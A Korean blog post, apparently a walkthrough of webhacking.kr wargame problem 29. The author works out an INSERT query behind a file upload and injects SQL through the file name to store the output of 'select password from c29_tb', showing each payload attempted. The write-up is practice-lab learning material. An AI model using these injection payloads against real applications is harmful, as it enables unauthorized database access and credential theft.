webhacking.kr 29번 문제다.

점수는 400point.

업로드가 가능하고 이를 활용해 힌트로 알려준 select password from c29_tb 구문을 활용해야 할 것

같다.

아무 파일이나 업로드 시켜봤다.

다음과 같이 time ip file 이름이 뜬다.

패킷으로 잡아봤는데 filename 말고는 따로 넘겨주는게 없다. 그렇다면 이름을 가지고 쿼리를 조작해야 할 것 같다.

흠 대충 예상해보면 insert into table_name values('$time','$ip','$_GET[file_name]')와 같은 형식으로 파일이 저장되고 저장이 성공하면 내 ip값에 해당하는 애들만 출력해주는 것 같다.

※ip값은 .을 필터링해서 아스키코드값으로 저장했다.
그렇다면 file_name으로 asadf'),('asfsadf',char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7),select password from c29_tb))-- x
을 주면 서브쿼리 값이 디비에 저장될 것 같았다. 근데 querry error가 뜬다. 

쿼리문이 뭔가 잘못 된 것 같은데 이런저런 생각을하다가 file_name이 삽입되는 순서가 맨 뒤가 아닐지도 모른다는 생각이 들었다. 그래서 앞의 삽입데이터가 3개가 아닌 2개나 1개가 되서 쿼리에러가 뜬게 아닐까? 그래서 한번 생각을 바꿔 file_name의 위치가 2번째, 1번째일 수 있다 생각하고 쿼리문을 작성해 봤다.

먼저 2번째일 경우
asdfsadf','sadfsadf')-- x
여전히 쿼리 에러..

그렇다면 1번째였을 경우 
asdfsadf','sadfsadf','asdfsadf')-- x 입력

오 쿼리 에러가 안뜬다. 그렇다면 file_name의 위치가 맨 앞이었단걸 알아냈다.
하..생각해내기 참 힘들다 ㅡㅠ..

그럼이제 2,3번째 쿼리의 순서만 맞게 넣어주면 제대로 동작할 것 같다. 

asfsadf',char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7),(select password from c29_tb))-- x

와 같이 넣어줘봤다.

별 반응이 없다.. 설마.. ㅜ 제발..

마지막으로

asfsadf',(select password from c29_tb),char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7))-- x 

와 같이 넣어줘봤다.


와...됐다... 이거안됬으면 진짜 열받았을 것 같다. 맞다 싶어서 몇 시간동안 개고생했는데 안되서 풀이보고 풀어버리면 너무 허무할까봐 집어치우고 싶던거 꾸역꾸역 해봤는데 성공해서 다행이다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 31번  (0) 2018.01.12
webhacking.kr 30번  (0) 2018.01.12
webhacking.kr 28번  (0) 2018.01.12
webhacking.kr 27번  (0) 2018.01.12
webhacking.kr 26번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,